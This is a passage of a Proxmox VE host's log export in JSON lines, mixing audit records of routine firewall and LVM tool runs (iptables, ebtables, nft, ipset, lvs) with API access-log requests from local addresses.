gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245329,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.329:69067): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964512650,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964235923,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.923:60149): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecee0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57755 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965572280,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966244797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966244.797:69054): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ada40 a1=64f8d73e0a20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964625622,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.622:61866): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966045986,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.986:68201): arch=c000003e syscall=59 success=no exit=-2 a0=7fff124c6230 a1=5d6bbacd3310 a2=5d6bbaccc680 a3=5 items=1 ppid=65494 pid=65495 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965839481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965839.481:67322): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245323,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.323:69066): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964511650,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964234430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964234.430:60148): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73edd40 a1=64f8d73b3310 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965572280,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781966244773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966244.773:69053): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d741b830 a1=64f8d7410b00 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964625622,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.622:61865): argc=1 a0=\"date\""} {"@timestamp":1781966045193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.193:68193): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965839481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965839.481:67321): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245317,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.317:69065): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964510655,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 857"} {"@timestamp":1781964234395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964234.395:60147): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b7ea0 a1=64f8d73cf0f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965572280,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781966240919,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966240.919:69052): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964625617,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.617:61863): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966045193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.193:68192): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965835603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.603:67317): arch=c000003e syscall=59 success=no exit=-2 a0=7fffddd09050 a1=5aacbd9e4cd0 a2=5aacbd9c7680 a3=5 items=1 ppid=64650 pid=64651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245311,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.311:69064): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964508625,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964233416,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964233.416:60146): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966240.913:69049): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965570797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964625611,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.611:61862): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966045187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.187:68190): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965835487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965835.487:67299): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdc65755f0 a1=5e461de84310 a2=5e461de7d680 a3=5 items=1 ppid=64631 pid=64632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245304,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.304:69063): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964507621,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964233407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964233.407:60143): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57749 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.902:69046): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965570797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781964625604,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.604:61861): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966045187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.187:68189): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965834469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965834.469:67289): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245299,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.299:69062): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964504602,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781964228394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964228.394:60140): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.889:69043): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568772,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964625598,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.598:61860): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966040179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966040.179:68185): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965834469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965834.469:67288): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245293,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.293:69061): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964504602,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964228385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964228.385:60137): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235247,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.247:69040): arch=c000003e syscall=59 success=yes exit=0 a0=5f24cc45ced0 a1=5f24cc459c50 a2=5f24cc43b680 a3=5 items=2 ppid=66298 pid=66304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568772,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964625591,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.591:61859): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966040179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966040.179:68184): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965834464,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965834.464:67286): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245286,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.286:69059): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964503580,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964225910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.910:60134): arch=c000003e syscall=59 success=yes exit=0 a0=5ec004087b60 a1=5ec004093a30 a2=5ec004061680 a3=5 items=2 ppid=57740 pid=57746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.244:69039): arch=c000003e syscall=59 success=yes exit=0 a0=5f24b7570ac8 a1=7fff916c7820 a2=5f24cc43b680 a3=5f24b755424e items=2 ppid=66298 pid=66300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568772,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781964625585,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.585:61857): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966040170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966040.170:68182): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965834464,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965834.464:67285): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245279,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.279:69058): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964500669,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781964225907,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.907:60133): arch=c000003e syscall=59 success=yes exit=0 a0=5ebff1eaaac8 a1=7ffc5550b9a0 a2=5ec004061680 a3=5ebff1e8e24e items=2 ppid=57740 pid=57742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.243:69038): arch=c000003e syscall=59 success=yes exit=0 a0=7fff916c77e0 a1=5f24cc442360 a2=5f24cc43b680 a3=5 items=2 ppid=66298 pid=66299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568772,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964625581,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.581:61856): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966040170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966040.170:68181): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965829456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965829.456:67282): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245268,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.268:69056): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964499715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964225905,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.905:60132): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc5550b960 a1=5ec004083200 a2=5ec004061680 a3=5 items=2 ppid=57740 pid=57741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.239:69036): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568772,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964625575,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.575:61855): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966035915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.915:68177): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd4aebc220 a1=610d36cd71c0 a2=610d36cb5680 a3=5 items=1 ppid=65471 pid=65472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965829456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965829.456:67281): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245260,"@rawstring":"node=pve type=EXECVE msg=audit(1781966245.260:69055): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964498649,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781964225901,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.901:60130): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57740 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.232:69035): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965567744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964625570,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.570:61854): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966035807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.807:68159): arch=c000003e syscall=59 success=no exit=-2 a0=7ffffde86d40 a1=6540842e8310 a2=6540842e1680 a3=5 items=1 ppid=65452 pid=65453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965829447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965829.447:67279): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64616 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966244797,"@rawstring":"node=pve type=EXECVE msg=audit(1781966244.797:69054): argc=12 a0=\"/sbin/lvs\" 